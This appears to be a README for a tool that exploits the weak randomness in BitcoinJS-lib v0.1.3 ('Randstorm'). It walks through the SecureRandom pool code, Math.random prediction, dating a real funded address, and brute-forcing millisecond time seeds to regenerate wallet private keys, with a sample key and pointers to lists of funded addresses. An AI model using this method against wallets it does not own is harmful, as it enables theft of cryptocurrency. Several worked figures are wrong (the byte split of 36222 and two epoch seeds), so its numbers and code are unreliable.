Between 2010 and 2015, many exchanges and websites relied on BitcoinJS-lib v0.1.3 for Bitcoin wallet generation. The issue was that many browsers didn't use window.crypto.random, which lead to entropy being collected from Math.random().
if (this.pool == null) { // Check if the pool is not already initialized
this.poolSize = 256;
this.pool = new Array(this.poolSize); // Create an array to store random values
this.pptr = 0; // Initialize the pool pointer to 0
var t; // Declare a variable to store temporary random values
// Fill the pool with random values
while (this.pptr < this.poolSize) {
t = Math.floor(65536 * Math.random()); // Generate a random 16-bit value
this.pool[this.pptr++] = t >>> 8; // Store the high byte of the 16-bit value
this.pool[this.pptr++] = t & 255; // Store the low byte of the 16-bit value
}
this.pptr = 0; // Reset the pool pointer to 0
this.seedTime(); // Call a function (not provided) to seed the random values based on time
}The provided JavaScript code enters a loop where it generates random 16-bit values (t) and fills the array by storing the high and low bytes of each 16-bit value consecutively. This process continues until the pool is full. After filling the pool, the pointer is reset to 0, and a function seedTime() is called to further seed the random values based on time. In summary, this code creates and populates a pool of 256 'random' values using a simple algorithm based on random number generation and bitwise operations.
t = Math.floor(65536 * Math.random());Math.random() generates a pseudo-random floating-point number in the range 0 and 1: 0.5532989501953125
Scaled value: 0.5532989501953125 * 65536 ≈ 36222.405517578125 = 36222
this.pool[this.pptr++] = t >>> 8; // Store the high byte of the 16-bit value
this.pool[this.pptr++] = t & 255; // Store the low byte of the 16-bit valueSubsequently, the code separates this 16-bit integer into two 8-bit values (high byte and low byte) using bitwise operations.
Original value: 36222 (16-bit binary representation: 1000110110001110
High byte: 0000000010001101 = 13 Low byte: 000011100011110 = 222
Therefore, for the value 36222, the high byte is 13, and the low byte is 222. These values are then stored in a pool of 256 values like this:
Current Pool : [
13, 222, 70, 233, 237, 155, 103, 43, 176, 6, 103, 47,
194, 180, 82, 147, 36, 24, 126, 132, 26, 247, 178, 161,
102, 171, 42, 173, 137, 121, 101, 29, 19, 107, 112, 132,
198, 71, 11, 44, 244, 154, 32, 0, 99, 226, 73, 154,
197, 98, 70, 239, 50, 15, 239, 209, 68, 60, 116, 121,
146, 13, 195, 112, 222, 166, 167, 66, 220, 156, 178, 51,
14, 250, 252, 44, 104, 53, 114, 146, 50, 37, 217, 242,
175, 19, 180, 145, 96, 31, 53, 35, 226, 203, 86, 25,
69, 51, 207, 30,
... 156 more items
]This function is used to mix the bits of the input integer x (the seed time) into the pool array, providing a way to seed the generator or introduce entropy into the system for generating pseudorandom numbers. The XOR operation helps ensure that each bit of the input has an effect on the state of the generator.
this.seedInt = function (x) {
this.pool[this.pptr++] ^= x & 255;
this.pool[this.pptr++] ^= (x >> 8) & 255;
this.pool[this.pptr++] ^= (x >> 16) & 255;
this.pool[this.pptr++] ^= (x >> 24) & 255;
if (this.pptr >= this.poolSize) this.pptr -= this.poolSize;
};After XORs... New pool: [
85, 15, 17, 189, 237, 155, 103, 43, 176, 6, 103, 47,
194, 180, 82, 147, 36, 24, 126, 132, 26, 247, 178, 161,
102, 171, 42, 173, 137, 121, 101, 29, 19, 107, 112, 132,
198, 71, 11, 44, 244, 154, 32, 0, 99, 226, 73, 154,
197, 98, 70, 239, 50, 15, 239, 209, 68, 60, 116, 121,
146, 13, 195, 112, 222, 166, 167, 66, 220, 156, 178, 51,
14, 250, 252, 44, 104, 53, 114, 146, 50, 37, 217, 242,
175, 19, 180, 145, 96, 31, 53, 35, 226, 203, 86, 25,
69, 51, 207, 30,
... 156 more items
]In order to generate bytes the algorithm uses the pool of 256 values. These values are run through the Arcfour cipher to randomize it futher using the seed time. The seed time is used to randomize the pool. But sice we are using a set seed, for example time = 1395038931000, we can use the seed to decrypt the cypher.
this.getByte = function () {
if (this.state == null) {
this.seedTime();
this.state = this.ArcFour(); // <---- Here is where ArcFour() is called
this.state.init(this.pool);
for (this.pptr = 0; this.pptr < this.pool.length; ++this.pptr)
this.pool[this.pptr] = 0;
this.pptr = 0;
}
return this.state.next();
};After Arcfour runs, the new pool is used:
Final Pool: [
51, 144, 239, 168, 173, 187, 209, 30, 108, 107, 5, 235,
194, 94, 15, 197, 60, 82, 193, 225, 198, 123, 139, 113,
68, 72, 10, 129, 66, 88, 17, 224, 58, 132, 158, 231,
9, 252, 9, 192, 38, 237, 167, 155, 91, 72, 124, 166,
201, 81, 233, 35, 20, 219, 67, 116, 170, 28, 134, 64,
85, 14, 61, 103, 147, 3, 203, 27, 156, 166, 110, 229,
14, 25, 9, 150, 172, 237, 188, 239, 249, 166, 212, 161,
190, 205, 141, 164, 26, 197, 90, 122, 124, 182, 32, 80,
56, 191, 152, 165,
... 156 more items
]Using v8-randomness-predictor or v8_rand_buster to predict Math.random values.
Sequence = [0.6297969575631002, 0.6074412953668151, 0.9919811223107806, 0.48870040262493863, 0.4398739265503919]
Next Sequence: 0.3283496320042738
Updated Sequence: [0.6074412953668151, 0.9919811223107806, 0.48870040262493863, 0.4398739265503919, 0.3283496320042738]
Next Sequence: 0.37620797979266385
Updated Sequence: [0.9919811223107806, 0.48870040262493863, 0.4398739265503919, 0.3283496320042738, 0.37620797979266385]
Next Sequence: 0.7982242070609398One of the projects that used the vulnerable code for several years was Coinpunk. This allows you generate a wallet using the coinpunk-0.1.0 and outputs the Math.random() values that are generated during wallet creation. You can set SEED_TIME_VALUE = 1294200190000 in the .js file to change the current time it's seed at.
This vulnerability is only for wallets that were created using BitcoinJS-lib v0.1.3. Since we can't determine when the wallet was generated or even if the wallet was generated using BitcoinJS-lib v0.1.3, it makes things very difficult.
We can examine when the first transaction took place using the blockchain. Using Get_First_Transaction.py we can get the first transaction date using a free API call on btcscan.org. If the address was generated on December 24, 2012, 2:44:56 AM, then using the Unix epoch time we can see that the seed = 55793394904000. This is the Unix epoch time in milliseconds.
Address: 1NUhcfvRthmvrHf1PAJKe5uEzBGK44ASBD
First Transaction: 2014-03-16 23:48:51 GMT -7
Current Balance: 1.9999 BTCConvert the date 2014-03-16 23:48:51 GMT -7 to Unix epoch time in linux with command:
date -d "2014-03-16 23:48:51 GMT -7" +"%s" | awk '{print $1 * 1000}'1395038931000
Now, get the date from whatever time period you want to try before March 3, 2014.
March 1, 2014 = 1393635661000
1395042082000 - 1393635661000 = 1.4 Billion Seeds
Using the implementation of SecureRandom(), set the seed to March 1, 2014 = 1393635661000 and generate keys incrementally until the date of the first transaction:
Seed: 1310691661000
Hex: 6ad2d763712eae6428e2922d7181f92fb70d0e564d1dd38dd0aa9b34b844c0cb
P2PKH: 1JbryLqejpB17zLDNspRyJwjL5rjXW7gyw
...
All funded Bitcoin addresses can be downloaded at:
This software is for education purporses only and should not be configured and used to find (Bitcoin/Altcoin) address hash (RIPEMD-160) collisions and use (steal) credit from third-party (Bitcoin/Altcoin) addresses. This mode might be allowed to recover lost private keys of your own public addresses only.
Another mostly legal use case is a check if the (Bitcoin/Altcoin) addresses hash (RIPEMD-160) is already in use to prevent yourself from a known hash (RIPEMD-160) collision and double use. Some configurations are not allowed in some countries.
Please feel free to share any questions. This is a work in progress and replicating the exact SecureRandom() function in python from Javascript has not been very easy. There still may be some issues...
Special thanks to ChatGPT and DeepSeek Coder for the help.
https://www.unciphered.com/blog/randstorm-you-cant-patch-a-house-of-cards
https://jandemooij.nl/blog/math-random-and-32-bit-precision/
https://medium.com/@betable/tifu-by-using-math-random-f1c308c4fd9d
https://security.stackexchange.com/questions/84906/predicting-math-random-numbers
https://lwn.net/Articles/666407/
https://ifsec.blogspot.com/2012/09/of-html5-security-cross-domain.html
https://github.com/PwnFunction/v8-randomness-predictor/tree/main
BTC: bc1q2rqz0mzwxdm0umhlllsyd5rt30uh8kswhqcnqp